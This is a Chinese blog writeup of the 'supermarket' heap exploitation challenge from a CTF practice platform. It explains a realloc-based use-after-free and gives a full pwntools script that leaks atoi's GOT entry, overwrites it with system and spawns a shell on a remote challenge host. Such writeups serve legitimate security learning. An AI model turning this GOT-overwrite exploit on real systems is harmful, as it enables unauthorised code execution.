//
xiaoaoaode
Published on 2020-06-02 / 40 Visits
0

攻防世界--supermarket题Writeup

前言

本题是一道堆利用的pwn题,说实话,博主在堆方向上还是刚刚入门,并没有很深刻的了解,本题的部分理解也可能不准确,欢迎大家斧正
本题核心在于对realloc函数的理解,还有如何构造出最佳的内存块供利用
博主在解本题的时候很大程度上参考了攻防世界PWN之Supermarket题解

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

解题过程

程序信息:

分析程序可知几个主要功能:

并且都分布在switch语句里:

通过分析程序的行为,可以画出程序储存数据的一个结构:

(而且程序里有一个数组储存可以储存15个指向“name”的指针)

经分析可知几个重要的字符串输入语句都没有什么可溢出的地方,那么栈溢出可能行不通了
看了别人的WriteUp我才发现真正的溢出的地方在那个realloc函数的地方

realloc函数的功能:
先判断当前的指针是否有足够的连续空间,如果有,扩大mem_address指向的地址,并且将mem_address返回。
如果空间不够,先按照newsize指定的大小分配空间,将原有数据从头到尾拷贝到新分配的内存区域,而后释放原来mem_address所指内存区域(注意:原来指针是自动释放,不需要使用free),同时返回新分配的内存区域的首地址。即重新分配存储器块的地址。

也就是说,如果一个指针需要分配的内存比当前的指针附近的连续空间大,那么我们应该要将realloc函数的返回值赋给这个指针才可以完成扩容。
然而上图中12行的代码并没有这么做,那么就存在UAF漏洞!

因此,我们只需要创建一个上述结构(下文简称结构1),再利用realloc函数对结构1的description部分内存重分配,再创建创建一个结构(下文简称结构2),使结构2分配到结构1的description部分释放的内存

我们第一想到的肯定是利用一个fastbin大小的内存,但是这里刚好不可以,因为用于修改description部分的函数只能读取description_size - 1大小的数据,而descrip pointer段正好在末尾,会有一个字节被置0,而且实现“add a commodity”功能的函数为这个结构申请了28字节空间,那么一个分配的malloc_chunk就刚好到32字节+4字节(后4字节可由后一个chunk的prev_size代替),这样就算我们想realloc()29个字节,也不会分配32字节的chunk了,所以不能使用fastbin!
为了方便,可以将description_size设为unsorted bin的大小,然后找机会泄漏出atoi的GOT表,再通过修改结构2的方法修改atoi的GOT表为system的地址(主要是方便之后输入/bin/sh得到shell)
脚本:

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(os='linux',arch='amd64')
pwn = remote('111.198.29.45',00000)
def add(name,price,descrip_size,description):
    pwn.sendlineafter('your choice>> ','1')
    pwn.sendlineafter('name',name)
    pwn.sendlineafter('price:',price)
    pwn.sendlineafter('descrip_size:',descrip_size)
    pwn.sendlineafter('description:',description)

def delete(name):
    pwn.sendlineafter('your choice>> ','2')
    pwn.sendlineafter('name:',name)

def change(name,new_size,new_description):
    pwn.sendlineafter('your choice>> ','5')
    pwn.sendlineafter('name:',name)
    pwn.sendlineafter('descrip_size:',new_size)
    pwn.sendlineafter('description:',new_description)

add('1','8','128','')
add('0','7','10','OK')#防止chunk被合并
change('1','144','')
add('2','9','10','')
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(0x804b048)
change('1','144',payload)
pwn.sendlineafter('your choice>> ','3')
pwn.recvuntil('price.20, des.')
atoi_add = pwn.recvuntil('\n')[:-1]
system_add = u32(atoi_add) + 0xd8f0
'''
这里获得system的地址我选择先泄漏一次atoi的地址,
再到https://libc.blukat.me/这个网站找到对应的libc库,
获得atoi与system的相对地址0xd8f0
'''
log.info('system_add' + str(system_add))
change('2','32',p32(system_add))
pwn.interactive()
pwn.close()